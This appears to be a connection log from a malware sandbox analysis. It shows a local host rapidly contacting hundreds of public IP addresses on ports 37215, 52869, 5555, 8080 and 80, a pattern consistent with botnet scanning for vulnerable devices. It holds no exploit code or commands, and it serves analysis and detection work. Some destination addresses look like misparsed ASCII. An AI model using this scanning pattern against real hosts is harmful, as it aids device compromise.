Feb 12, 2023 21:24:57.135160923 CET	52981	37215	192.168.2.23	41.101.83.54
Feb 12, 2023 21:24:57.135184050 CET	52981	37215	192.168.2.23	157.177.54.78
Feb 12, 2023 21:24:57.135211945 CET	52981	37215	192.168.2.23	157.111.1.190
Feb 12, 2023 21:24:57.135235071 CET	52981	37215	192.168.2.23	157.41.249.134
Feb 12, 2023 21:24:57.135314941 CET	52981	37215	192.168.2.23	8.50.173.41
Feb 12, 2023 21:24:57.135323048 CET	52981	37215	192.168.2.23	145.138.230.79
Feb 12, 2023 21:24:57.135339975 CET	52981	37215	192.168.2.23	41.6.133.72
Feb 12, 2023 21:24:57.135343075 CET	52981	37215	192.168.2.23	157.150.159.196
Feb 12, 2023 21:24:57.135365963 CET	52981	37215	192.168.2.23	157.226.2.102
Feb 12, 2023 21:24:57.135365963 CET	52981	37215	192.168.2.23	197.115.177.215
Feb 12, 2023 21:24:57.135376930 CET	52981	37215	192.168.2.23	77.4.100.83
Feb 12, 2023 21:24:57.135396004 CET	52981	37215	192.168.2.23	157.121.184.34
Feb 12, 2023 21:24:57.135396004 CET	52981	37215	192.168.2.23	157.166.240.102
Feb 12, 2023 21:24:57.135413885 CET	52981	37215	192.168.2.23	197.100.71.10
Feb 12, 2023 21:24:57.135413885 CET	52981	37215	192.168.2.23	209.183.24.154
Feb 12, 2023 21:24:57.135416031 CET	52981	37215	192.168.2.23	41.10.175.125
Feb 12, 2023 21:24:57.135459900 CET	52981	37215	192.168.2.23	41.171.135.90
Feb 12, 2023 21:24:57.135459900 CET	52981	37215	192.168.2.23	157.70.190.161
Feb 12, 2023 21:24:57.135459900 CET	52981	37215	192.168.2.23	223.212.85.232
Feb 12, 2023 21:24:57.135459900 CET	52981	37215	192.168.2.23	19.251.220.214
Feb 12, 2023 21:24:57.135545969 CET	52981	37215	192.168.2.23	197.43.246.51
Feb 12, 2023 21:24:57.135550022 CET	52981	37215	192.168.2.23	41.79.200.215
Feb 12, 2023 21:24:57.135550976 CET	52981	37215	192.168.2.23	157.214.10.23
Feb 12, 2023 21:24:57.135554075 CET	52981	37215	192.168.2.23	197.181.38.95
Feb 12, 2023 21:24:57.135555029 CET	52981	37215	192.168.2.23	197.30.95.166
Feb 12, 2023 21:24:57.135560036 CET	52981	37215	192.168.2.23	197.48.211.35
Feb 12, 2023 21:24:57.135560036 CET	52981	37215	192.168.2.23	40.205.40.68
Feb 12, 2023 21:24:57.135560036 CET	52981	37215	192.168.2.23	197.195.2.207
Feb 12, 2023 21:24:57.135574102 CET	52981	37215	192.168.2.23	41.32.157.176
Feb 12, 2023 21:24:57.135576963 CET	52981	37215	192.168.2.23	197.252.62.130
Feb 12, 2023 21:24:57.135579109 CET	52981	37215	192.168.2.23	197.186.46.195
Feb 12, 2023 21:24:57.135579109 CET	52981	37215	192.168.2.23	157.171.196.235
Feb 12, 2023 21:24:57.135579109 CET	52981	37215	192.168.2.23	157.72.47.23
Feb 12, 2023 21:24:57.135579109 CET	52981	37215	192.168.2.23	157.141.185.160
Feb 12, 2023 21:24:57.135579109 CET	52981	37215	192.168.2.23	167.55.92.177
Feb 12, 2023 21:24:57.135581017 CET	52981	37215	192.168.2.23	41.220.135.156
Feb 12, 2023 21:24:57.135580063 CET	52981	37215	192.168.2.23	47.37.171.19
Feb 12, 2023 21:24:57.135595083 CET	52981	37215	192.168.2.23	116.180.33.43
Feb 12, 2023 21:24:57.135600090 CET	52981	37215	192.168.2.23	157.75.145.245
Feb 12, 2023 21:24:57.135600090 CET	52981	37215	192.168.2.23	185.214.134.129
Feb 12, 2023 21:24:57.135601044 CET	52981	37215	192.168.2.23	197.87.4.97
Feb 12, 2023 21:24:57.135602951 CET	52981	37215	192.168.2.23	41.9.202.142
Feb 12, 2023 21:24:57.135617971 CET	52981	37215	192.168.2.23	157.232.153.233
Feb 12, 2023 21:24:57.135618925 CET	52981	37215	192.168.2.23	52.204.119.79
Feb 12, 2023 21:24:57.135617971 CET	52981	37215	192.168.2.23	165.100.255.34
Feb 12, 2023 21:24:57.135617971 CET	52981	37215	192.168.2.23	157.210.18.247
Feb 12, 2023 21:24:57.135624886 CET	52981	37215	192.168.2.23	197.123.58.203
Feb 12, 2023 21:24:57.135624886 CET	52981	37215	192.168.2.23	157.124.161.244
Feb 12, 2023 21:24:57.135632038 CET	52981	37215	192.168.2.23	157.134.139.178
Feb 12, 2023 21:24:57.135636091 CET	52981	37215	192.168.2.23	41.221.224.134
Feb 12, 2023 21:24:57.135674953 CET	52981	37215	192.168.2.23	176.3.216.226
Feb 12, 2023 21:24:57.135680914 CET	52981	37215	192.168.2.23	151.223.63.144
Feb 12, 2023 21:24:57.135714054 CET	52981	37215	192.168.2.23	109.152.207.205
Feb 12, 2023 21:24:57.135725975 CET	52981	37215	192.168.2.23	154.57.2.176
Feb 12, 2023 21:24:57.135742903 CET	52981	37215	192.168.2.23	124.178.38.185
Feb 12, 2023 21:24:57.135744095 CET	52981	37215	192.168.2.23	157.237.232.70
Feb 12, 2023 21:24:57.135854006 CET	52981	37215	192.168.2.23	46.254.78.174
Feb 12, 2023 21:24:57.135854006 CET	52981	37215	192.168.2.23	133.219.14.91
Feb 12, 2023 21:24:57.135854006 CET	52981	37215	192.168.2.23	41.155.161.154
Feb 12, 2023 21:24:57.135854006 CET	52981	37215	192.168.2.23	157.14.141.247
Feb 12, 2023 21:24:57.135854006 CET	52981	37215	192.168.2.23	197.114.2.43
Feb 12, 2023 21:24:57.135854006 CET	52981	37215	192.168.2.23	41.101.33.253
Feb 12, 2023 21:24:57.135858059 CET	52981	37215	192.168.2.23	197.13.160.203
Feb 12, 2023 21:24:57.135864973 CET	52981	37215	192.168.2.23	197.93.39.57
Feb 12, 2023 21:24:57.135864973 CET	52981	37215	192.168.2.23	197.144.52.86
Feb 12, 2023 21:24:57.135864973 CET	52981	37215	192.168.2.23	157.84.42.117
Feb 12, 2023 21:24:57.135864973 CET	52981	37215	192.168.2.23	82.22.101.205
Feb 12, 2023 21:24:57.135864973 CET	52981	37215	192.168.2.23	157.15.194.129
Feb 12, 2023 21:24:57.135881901 CET	52981	37215	192.168.2.23	50.31.212.51
Feb 12, 2023 21:24:57.135881901 CET	52981	37215	192.168.2.23	156.24.103.143
Feb 12, 2023 21:24:57.135885954 CET	52981	37215	192.168.2.23	41.148.108.166
Feb 12, 2023 21:24:57.135886908 CET	52981	37215	192.168.2.23	201.109.146.170
Feb 12, 2023 21:24:57.135890961 CET	52981	37215	192.168.2.23	41.136.255.40
Feb 12, 2023 21:24:57.135891914 CET	52981	37215	192.168.2.23	197.213.139.111
Feb 12, 2023 21:24:57.135922909 CET	52981	37215	192.168.2.23	197.28.27.209
Feb 12, 2023 21:24:57.199433088 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:57.214618921 CET	37215	52981	41.234.237.185	192.168.2.23
Feb 12, 2023 21:24:57.217380047 CET	37215	52981	41.152.40.105	192.168.2.23
Feb 12, 2023 21:24:57.217468023 CET	52981	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:57.253921986 CET	37215	52981	197.6.200.30	192.168.2.23
Feb 12, 2023 21:24:57.260270119 CET	55100	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:57.262192965 CET	55102	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:57.264031887 CET	55858	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:57.265239954 CET	55860	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:57.266750097 CET	55862	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:57.268330097 CET	55110	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:57.335927963 CET	37215	52981	41.164.183.17	192.168.2.23
Feb 12, 2023 21:24:57.359380960 CET	58570	80	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:57.391371965 CET	45412	52869	192.168.2.23	50.48.50.46
Feb 12, 2023 21:24:57.391382933 CET	43424	52869	192.168.2.23	50.53.46.50
Feb 12, 2023 21:24:57.391395092 CET	41074	52869	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:57.391395092 CET	36602	52869	192.168.2.23	56.51.46.49
Feb 12, 2023 21:24:57.391400099 CET	36382	52869	192.168.2.23	54.55.46.52
Feb 12, 2023 21:24:57.391493082 CET	36872	52869	192.168.2.23	55.49.46.49
Feb 12, 2023 21:24:57.391525984 CET	37944	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:57.391550064 CET	53922	52869	192.168.2.23	49.54.54.46
Feb 12, 2023 21:24:57.391576052 CET	50782	52869	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:57.423371077 CET	43036	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:57.423372984 CET	49886	80	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:57.423372030 CET	38530	80	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:57.423397064 CET	36494	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:57.423403025 CET	36094	80	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:57.423403978 CET	35336	80	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:57.423410892 CET	58828	80	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:57.423434019 CET	55878	80	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:57.423439980 CET	34430	80	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:57.423439980 CET	41772	80	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:57.441654921 CET	37215	52981	153.212.116.248	192.168.2.23
Feb 12, 2023 21:24:57.580871105 CET	54376	80	192.168.2.23	50.46.50.50
Feb 12, 2023 21:24:57.594271898 CET	49498	80	192.168.2.23	56.52.46.51
Feb 12, 2023 21:24:57.608284950 CET	32818	80	192.168.2.23	56.50.46.55
Feb 12, 2023 21:24:57.621584892 CET	37328	80	192.168.2.23	53.56.46.53
Feb 12, 2023 21:24:57.638420105 CET	37330	80	192.168.2.23	53.56.46.53
Feb 12, 2023 21:24:57.658940077 CET	59998	80	192.168.2.23	52.50.46.50
Feb 12, 2023 21:24:57.679249048 CET	37242	49152	192.168.2.23	49.50.48.46
Feb 12, 2023 21:24:57.711261034 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:57.711357117 CET	35322	8080	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:57.711357117 CET	56132	8080	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:57.711451054 CET	39002	80	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:57.711498976 CET	38968	80	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:57.711524963 CET	34932	80	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:57.711539030 CET	44526	80	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:57.743405104 CET	40886	8080	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:57.743405104 CET	53342	8080	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:57.743829966 CET	53992	8080	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:57.775371075 CET	53348	8080	192.168.2.23	57.46.50.55
Feb 12, 2023 21:24:57.775371075 CET	55374	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:57.775609970 CET	43210	8080	192.168.2.23	49.52.54.46
Feb 12, 2023 21:24:57.807317972 CET	40820	8080	192.168.2.23	49.48.57.46
Feb 12, 2023 21:24:57.807327032 CET	53616	8080	192.168.2.23	49.49.51.46
Feb 12, 2023 21:24:57.935323954 CET	47166	5555	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:57.957763910 CET	22272	5555	192.168.2.23	17.145.92.17
Feb 12, 2023 21:24:57.957779884 CET	22272	5555	192.168.2.23	141.155.68.138
Feb 12, 2023 21:24:57.957779884 CET	22272	5555	192.168.2.23	174.158.225.167
Feb 12, 2023 21:24:57.957779884 CET	22272	5555	192.168.2.23	24.132.195.26
Feb 12, 2023 21:24:57.957793951 CET	22272	5555	192.168.2.23	129.229.41.29
Feb 12, 2023 21:24:57.957803011 CET	22272	5555	192.168.2.23	222.181.228.134
Feb 12, 2023 21:24:57.957832098 CET	22272	5555	192.168.2.23	70.174.214.233
Feb 12, 2023 21:24:57.957870007 CET	22272	5555	192.168.2.23	77.180.132.79
Feb 12, 2023 21:24:57.957866907 CET	22272	5555	192.168.2.23	181.126.202.180
Feb 12, 2023 21:24:57.957866907 CET	22272	5555	192.168.2.23	194.140.209.252
Feb 12, 2023 21:24:57.957879066 CET	22272	5555	192.168.2.23	114.145.77.109
Feb 12, 2023 21:24:57.957866907 CET	22272	5555	192.168.2.23	193.5.27.17
Feb 12, 2023 21:24:57.957880020 CET	22272	5555	192.168.2.23	8.47.113.97
Feb 12, 2023 21:24:57.957923889 CET	22272	5555	192.168.2.23	47.207.245.86
Feb 12, 2023 21:24:57.957937956 CET	22272	5555	192.168.2.23	177.182.168.105
Feb 12, 2023 21:24:57.957940102 CET	22272	5555	192.168.2.23	14.174.225.204
Feb 12, 2023 21:24:57.957942963 CET	22272	5555	192.168.2.23	195.252.24.28
Feb 12, 2023 21:24:57.957957983 CET	22272	5555	192.168.2.23	18.32.102.115
Feb 12, 2023 21:24:57.958013058 CET	22272	5555	192.168.2.23	207.6.163.2
Feb 12, 2023 21:24:57.958012104 CET	22272	5555	192.168.2.23	97.42.187.226
Feb 12, 2023 21:24:57.958013058 CET	22272	5555	192.168.2.23	163.34.139.159
Feb 12, 2023 21:24:57.958013058 CET	22272	5555	192.168.2.23	77.86.164.87
Feb 12, 2023 21:24:57.958013058 CET	22272	5555	192.168.2.23	40.76.129.50
Feb 12, 2023 21:24:57.958018064 CET	22272	5555	192.168.2.23	115.168.252.70
Feb 12, 2023 21:24:57.958035946 CET	22272	5555	192.168.2.23	181.159.179.208
Feb 12, 2023 21:24:57.958036900 CET	22272	5555	192.168.2.23	116.224.40.103
Feb 12, 2023 21:24:57.958053112 CET	22272	5555	192.168.2.23	195.168.32.139
Feb 12, 2023 21:24:57.958064079 CET	22272	5555	192.168.2.23	75.20.56.244
Feb 12, 2023 21:24:57.958081961 CET	22272	5555	192.168.2.23	60.38.154.143
Feb 12, 2023 21:24:57.958108902 CET	22272	5555	192.168.2.23	121.201.28.220
Feb 12, 2023 21:24:57.958127022 CET	22272	5555	192.168.2.23	165.31.29.78
Feb 12, 2023 21:24:57.958153963 CET	22272	5555	192.168.2.23	79.63.26.195
Feb 12, 2023 21:24:57.958164930 CET	22272	5555	192.168.2.23	35.63.152.217
Feb 12, 2023 21:24:57.958164930 CET	22272	5555	192.168.2.23	139.82.181.220
Feb 12, 2023 21:24:57.958165884 CET	22272	5555	192.168.2.23	211.73.189.253
Feb 12, 2023 21:24:57.958185911 CET	22272	5555	192.168.2.23	95.181.69.83
Feb 12, 2023 21:24:57.958187103 CET	22272	5555	192.168.2.23	8.199.18.53
Feb 12, 2023 21:24:57.958187103 CET	22272	5555	192.168.2.23	135.214.51.91
Feb 12, 2023 21:24:57.958189964 CET	22272	5555	192.168.2.23	41.43.136.43
Feb 12, 2023 21:24:57.958190918 CET	22272	5555	192.168.2.23	121.102.226.47
Feb 12, 2023 21:24:57.958239079 CET	22272	5555	192.168.2.23	191.20.222.7
Feb 12, 2023 21:24:57.958240986 CET	22272	5555	192.168.2.23	139.223.228.155
Feb 12, 2023 21:24:57.958244085 CET	22272	5555	192.168.2.23	86.101.47.217
Feb 12, 2023 21:24:57.958244085 CET	22272	5555	192.168.2.23	129.252.237.90
Feb 12, 2023 21:24:57.958244085 CET	22272	5555	192.168.2.23	75.26.2.39
Feb 12, 2023 21:24:57.958255053 CET	22272	5555	192.168.2.23	166.141.211.73
Feb 12, 2023 21:24:57.958272934 CET	22272	5555	192.168.2.23	46.143.3.66
Feb 12, 2023 21:24:57.958283901 CET	22272	5555	192.168.2.23	114.50.15.30
Feb 12, 2023 21:24:57.958312035 CET	22272	5555	192.168.2.23	131.89.169.117
Feb 12, 2023 21:24:57.958312035 CET	22272	5555	192.168.2.23	87.230.215.203
Feb 12, 2023 21:24:57.958331108 CET	22272	5555	192.168.2.23	47.26.85.184
Feb 12, 2023 21:24:57.958331108 CET	22272	5555	192.168.2.23	141.123.209.205
Feb 12, 2023 21:24:57.958360910 CET	22272	5555	192.168.2.23	182.3.74.237
Feb 12, 2023 21:24:57.958367109 CET	22272	5555	192.168.2.23	47.66.141.176
Feb 12, 2023 21:24:57.958390951 CET	22272	5555	192.168.2.23	216.209.113.236
Feb 12, 2023 21:24:57.958399057 CET	22272	5555	192.168.2.23	167.206.201.244
Feb 12, 2023 21:24:57.958400965 CET	22272	5555	192.168.2.23	169.18.247.27
Feb 12, 2023 21:24:57.958420992 CET	22272	5555	192.168.2.23	176.141.7.150
Feb 12, 2023 21:24:57.958420992 CET	22272	5555	192.168.2.23	145.247.90.66
Feb 12, 2023 21:24:57.958458900 CET	22272	5555	192.168.2.23	193.76.170.202
Feb 12, 2023 21:24:57.958472967 CET	22272	5555	192.168.2.23	194.136.231.96
Feb 12, 2023 21:24:57.958481073 CET	22272	5555	192.168.2.23	105.203.95.3
Feb 12, 2023 21:24:57.958481073 CET	22272	5555	192.168.2.23	169.164.85.125
Feb 12, 2023 21:24:57.958481073 CET	22272	5555	192.168.2.23	181.248.211.201
Feb 12, 2023 21:24:57.958503008 CET	22272	5555	192.168.2.23	20.250.220.23
Feb 12, 2023 21:24:57.958540916 CET	22272	5555	192.168.2.23	57.220.147.192
Feb 12, 2023 21:24:57.958539963 CET	22272	5555	192.168.2.23	204.18.201.148
Feb 12, 2023 21:24:57.958539963 CET	22272	5555	192.168.2.23	27.75.78.32
Feb 12, 2023 21:24:57.958575964 CET	22272	5555	192.168.2.23	136.231.61.45
Feb 12, 2023 21:24:57.958580017 CET	22272	5555	192.168.2.23	119.238.200.188
Feb 12, 2023 21:24:57.958609104 CET	22272	5555	192.168.2.23	160.71.180.159
Feb 12, 2023 21:24:57.958616018 CET	22272	5555	192.168.2.23	162.85.183.129
Feb 12, 2023 21:24:57.958632946 CET	22272	5555	192.168.2.23	132.180.59.238
Feb 12, 2023 21:24:57.958655119 CET	22272	5555	192.168.2.23	93.71.21.144
Feb 12, 2023 21:24:57.958662987 CET	22272	5555	192.168.2.23	50.19.65.3
Feb 12, 2023 21:24:57.958674908 CET	22272	5555	192.168.2.23	124.66.211.200
Feb 12, 2023 21:24:57.958682060 CET	22272	5555	192.168.2.23	9.84.178.215
Feb 12, 2023 21:24:57.958709002 CET	22272	5555	192.168.2.23	222.180.232.176
Feb 12, 2023 21:24:57.958709955 CET	22272	5555	192.168.2.23	191.195.97.49
Feb 12, 2023 21:24:57.958772898 CET	22272	5555	192.168.2.23	102.34.245.169
Feb 12, 2023 21:24:57.958774090 CET	22272	5555	192.168.2.23	144.44.78.132
Feb 12, 2023 21:24:57.958781004 CET	22272	5555	192.168.2.23	31.128.68.233
Feb 12, 2023 21:24:57.958781958 CET	22272	5555	192.168.2.23	220.34.206.113
Feb 12, 2023 21:24:57.958781958 CET	22272	5555	192.168.2.23	108.66.47.68
Feb 12, 2023 21:24:57.958792925 CET	22272	5555	192.168.2.23	108.241.225.140
Feb 12, 2023 21:24:57.958798885 CET	22272	5555	192.168.2.23	223.93.230.129
Feb 12, 2023 21:24:57.958825111 CET	22272	5555	192.168.2.23	8.12.141.168
Feb 12, 2023 21:24:57.958836079 CET	22272	5555	192.168.2.23	9.24.197.5
Feb 12, 2023 21:24:57.958842993 CET	22272	5555	192.168.2.23	103.232.12.88
Feb 12, 2023 21:24:57.958864927 CET	22272	5555	192.168.2.23	165.149.4.54
Feb 12, 2023 21:24:57.958898067 CET	22272	5555	192.168.2.23	27.138.22.155
Feb 12, 2023 21:24:57.958920002 CET	22272	5555	192.168.2.23	133.218.27.96
Feb 12, 2023 21:24:57.958940029 CET	22272	5555	192.168.2.23	48.125.5.116
Feb 12, 2023 21:24:57.958956957 CET	22272	5555	192.168.2.23	61.133.52.59
Feb 12, 2023 21:24:57.959002018 CET	22272	5555	192.168.2.23	24.204.147.193
Feb 12, 2023 21:24:57.959003925 CET	22272	5555	192.168.2.23	196.169.10.77
Feb 12, 2023 21:24:57.959007978 CET	22272	5555	192.168.2.23	173.142.18.138
Feb 12, 2023 21:24:57.959036112 CET	22272	5555	192.168.2.23	156.169.118.109
Feb 12, 2023 21:24:57.959044933 CET	22272	5555	192.168.2.23	186.62.8.191
Feb 12, 2023 21:24:57.959044933 CET	22272	5555	192.168.2.23	88.136.156.92
Feb 12, 2023 21:24:57.959045887 CET	22272	5555	192.168.2.23	178.81.58.189
Feb 12, 2023 21:24:57.959045887 CET	22272	5555	192.168.2.23	155.182.58.135
Feb 12, 2023 21:24:57.959050894 CET	22272	5555	192.168.2.23	76.58.203.224
Feb 12, 2023 21:24:57.959069014 CET	22272	5555	192.168.2.23	5.223.137.236
Feb 12, 2023 21:24:57.959074974 CET	22272	5555	192.168.2.23	115.249.85.89
Feb 12, 2023 21:24:57.959098101 CET	22272	5555	192.168.2.23	209.138.91.213
Feb 12, 2023 21:24:57.959150076 CET	22272	5555	192.168.2.23	119.196.184.110
Feb 12, 2023 21:24:57.959182978 CET	22272	5555	192.168.2.23	132.102.172.225
Feb 12, 2023 21:24:57.959222078 CET	22272	5555	192.168.2.23	4.211.166.200
Feb 12, 2023 21:24:57.959235907 CET	22272	5555	192.168.2.23	191.169.211.255
Feb 12, 2023 21:24:57.959261894 CET	22272	5555	192.168.2.23	17.193.21.80
Feb 12, 2023 21:24:57.959261894 CET	22272	5555	192.168.2.23	183.15.64.27
Feb 12, 2023 21:24:57.959268093 CET	22272	5555	192.168.2.23	2.145.133.79
Feb 12, 2023 21:24:57.959274054 CET	22272	5555	192.168.2.23	222.46.55.183
Feb 12, 2023 21:24:57.959296942 CET	22272	5555	192.168.2.23	181.94.29.51
Feb 12, 2023 21:24:57.959311962 CET	22272	5555	192.168.2.23	143.15.232.28
Feb 12, 2023 21:24:57.959331036 CET	22272	5555	192.168.2.23	137.63.114.121
Feb 12, 2023 21:24:57.959343910 CET	22272	5555	192.168.2.23	198.61.189.219
Feb 12, 2023 21:24:57.959363937 CET	22272	5555	192.168.2.23	104.31.228.183
Feb 12, 2023 21:24:57.959364891 CET	22272	5555	192.168.2.23	35.162.165.11
Feb 12, 2023 21:24:57.959364891 CET	22272	5555	192.168.2.23	44.223.109.56
Feb 12, 2023 21:24:57.959378004 CET	22272	5555	192.168.2.23	170.175.234.12
Feb 12, 2023 21:24:57.959393024 CET	22272	5555	192.168.2.23	179.62.192.52
Feb 12, 2023 21:24:57.959419012 CET	22272	5555	192.168.2.23	217.251.188.166
Feb 12, 2023 21:24:57.959439993 CET	22272	5555	192.168.2.23	205.24.48.140
Feb 12, 2023 21:24:57.959467888 CET	22272	5555	192.168.2.23	61.140.10.189
Feb 12, 2023 21:24:57.959479094 CET	22272	5555	192.168.2.23	102.126.237.193
Feb 12, 2023 21:24:57.959484100 CET	22272	5555	192.168.2.23	60.105.67.115
Feb 12, 2023 21:24:57.959484100 CET	22272	5555	192.168.2.23	110.14.230.154
Feb 12, 2023 21:24:57.959501028 CET	22272	5555	192.168.2.23	91.101.60.66
Feb 12, 2023 21:24:57.959528923 CET	22272	5555	192.168.2.23	128.124.184.230
Feb 12, 2023 21:24:57.959528923 CET	22272	5555	192.168.2.23	114.71.32.131
Feb 12, 2023 21:24:57.959534883 CET	22272	5555	192.168.2.23	58.40.158.74
Feb 12, 2023 21:24:57.959536076 CET	22272	5555	192.168.2.23	112.57.94.250
Feb 12, 2023 21:24:57.959537983 CET	22272	5555	192.168.2.23	174.77.78.187
Feb 12, 2023 21:24:57.959537983 CET	22272	5555	192.168.2.23	45.56.244.111
Feb 12, 2023 21:24:57.959542036 CET	22272	5555	192.168.2.23	64.204.246.99
Feb 12, 2023 21:24:57.959542036 CET	22272	5555	192.168.2.23	92.138.126.149
Feb 12, 2023 21:24:57.959549904 CET	22272	5555	192.168.2.23	219.195.34.29
Feb 12, 2023 21:24:57.959549904 CET	22272	5555	192.168.2.23	19.127.99.8
Feb 12, 2023 21:24:57.959556103 CET	22272	5555	192.168.2.23	62.238.104.3
Feb 12, 2023 21:24:57.959568977 CET	22272	5555	192.168.2.23	130.55.27.153
Feb 12, 2023 21:24:57.959583998 CET	22272	5555	192.168.2.23	193.107.250.59
Feb 12, 2023 21:24:57.959598064 CET	22272	5555	192.168.2.23	208.216.246.63
Feb 12, 2023 21:24:57.959605932 CET	22272	5555	192.168.2.23	62.0.155.179
Feb 12, 2023 21:24:57.959605932 CET	22272	5555	192.168.2.23	176.11.204.190
Feb 12, 2023 21:24:57.959630966 CET	22272	5555	192.168.2.23	89.153.80.117
Feb 12, 2023 21:24:57.959636927 CET	22272	5555	192.168.2.23	139.74.120.251
Feb 12, 2023 21:24:57.959657907 CET	22272	5555	192.168.2.23	174.220.38.31
Feb 12, 2023 21:24:57.959680080 CET	22272	5555	192.168.2.23	99.90.65.32
Feb 12, 2023 21:24:57.959690094 CET	22272	5555	192.168.2.23	86.144.219.196
Feb 12, 2023 21:24:57.959697008 CET	22272	5555	192.168.2.23	188.215.58.190
Feb 12, 2023 21:24:57.959711075 CET	22272	5555	192.168.2.23	52.92.184.46
Feb 12, 2023 21:24:57.959724903 CET	22272	5555	192.168.2.23	90.171.249.194
Feb 12, 2023 21:24:57.959732056 CET	22272	5555	192.168.2.23	39.63.86.209
Feb 12, 2023 21:24:57.959733963 CET	22272	5555	192.168.2.23	201.72.22.176
Feb 12, 2023 21:24:57.959748983 CET	22272	5555	192.168.2.23	76.16.130.196
Feb 12, 2023 21:24:57.959772110 CET	22272	5555	192.168.2.23	31.176.101.133
Feb 12, 2023 21:24:57.959779024 CET	22272	5555	192.168.2.23	106.26.198.134
Feb 12, 2023 21:24:57.959784985 CET	22272	5555	192.168.2.23	25.224.170.236
Feb 12, 2023 21:24:57.963190079 CET	59678	52869	192.168.2.23	49.54.56.46
Feb 12, 2023 21:24:57.966370106 CET	44056	52869	192.168.2.23	51.51.46.51
Feb 12, 2023 21:24:57.967256069 CET	60080	8080	192.168.2.23	49.50.48.46
Feb 12, 2023 21:24:57.967401028 CET	33286	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:57.967439890 CET	42220	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:57.967466116 CET	43696	80	192.168.2.23	49.52.54.46
Feb 12, 2023 21:24:57.967478037 CET	60104	80	192.168.2.23	49.48.57.46
Feb 12, 2023 21:24:57.967633963 CET	40692	80	192.168.2.23	49.49.51.46
Feb 12, 2023 21:24:57.967705011 CET	56886	80	192.168.2.23	57.46.50.55
Feb 12, 2023 21:24:57.971086979 CET	34878	52869	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:57.973155022 CET	47648	52869	192.168.2.23	49.54.51.46
Feb 12, 2023 21:24:57.987098932 CET	45550	52869	192.168.2.23	50.48.50.46
Feb 12, 2023 21:24:57.996721983 CET	43092	52869	192.168.2.23	53.50.46.50
Feb 12, 2023 21:24:58.006539106 CET	38074	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:58.012979984 CET	80	33286	52.51.46.49	192.168.2.23
Feb 12, 2023 21:24:58.013170958 CET	33286	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:58.038943052 CET	33286	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:58.042845011 CET	33124	52869	192.168.2.23	50.46.54.48
Feb 12, 2023 21:24:58.066189051 CET	58408	52869	192.168.2.23	49.57.48.46
Feb 12, 2023 21:24:58.074217081 CET	37362	52869	192.168.2.23	49.55.51.46
Feb 12, 2023 21:24:58.084434032 CET	80	33286	52.51.46.49	192.168.2.23
Feb 12, 2023 21:24:58.090383053 CET	80	33286	52.51.46.49	192.168.2.23
Feb 12, 2023 21:24:58.090420008 CET	80	33286	52.51.46.49	192.168.2.23
Feb 12, 2023 21:24:58.090588093 CET	33286	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:58.127295971 CET	42846	37215	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:58.127338886 CET	55874	37215	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:58.127346992 CET	37072	37215	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:58.127338886 CET	34806	37215	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:58.131520033 CET	33286	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:58.137195110 CET	52981	37215	192.168.2.23	157.201.190.248
Feb 12, 2023 21:24:58.137196064 CET	52981	37215	192.168.2.23	157.94.22.112
Feb 12, 2023 21:24:58.137271881 CET	52981	37215	192.168.2.23	41.46.209.190
Feb 12, 2023 21:24:58.137271881 CET	52981	37215	192.168.2.23	157.30.150.136
Feb 12, 2023 21:24:58.137284994 CET	52981	37215	192.168.2.23	197.103.135.209
Feb 12, 2023 21:24:58.137284994 CET	52981	37215	192.168.2.23	70.15.134.117
Feb 12, 2023 21:24:58.137284994 CET	52981	37215	192.168.2.23	41.113.250.105
Feb 12, 2023 21:24:58.137290001 CET	52981	37215	192.168.2.23	157.138.188.50
Feb 12, 2023 21:24:58.137326956 CET	52981	37215	192.168.2.23	157.209.203.130
Feb 12, 2023 21:24:58.137358904 CET	52981	37215	192.168.2.23	177.212.96.81
Feb 12, 2023 21:24:58.137361050 CET	52981	37215	192.168.2.23	197.151.29.182
Feb 12, 2023 21:24:58.137370110 CET	52981	37215	192.168.2.23	171.104.45.217
Feb 12, 2023 21:24:58.137370110 CET	52981	37215	192.168.2.23	41.22.122.255
Feb 12, 2023 21:24:58.137379885 CET	52981	37215	192.168.2.23	157.94.165.143
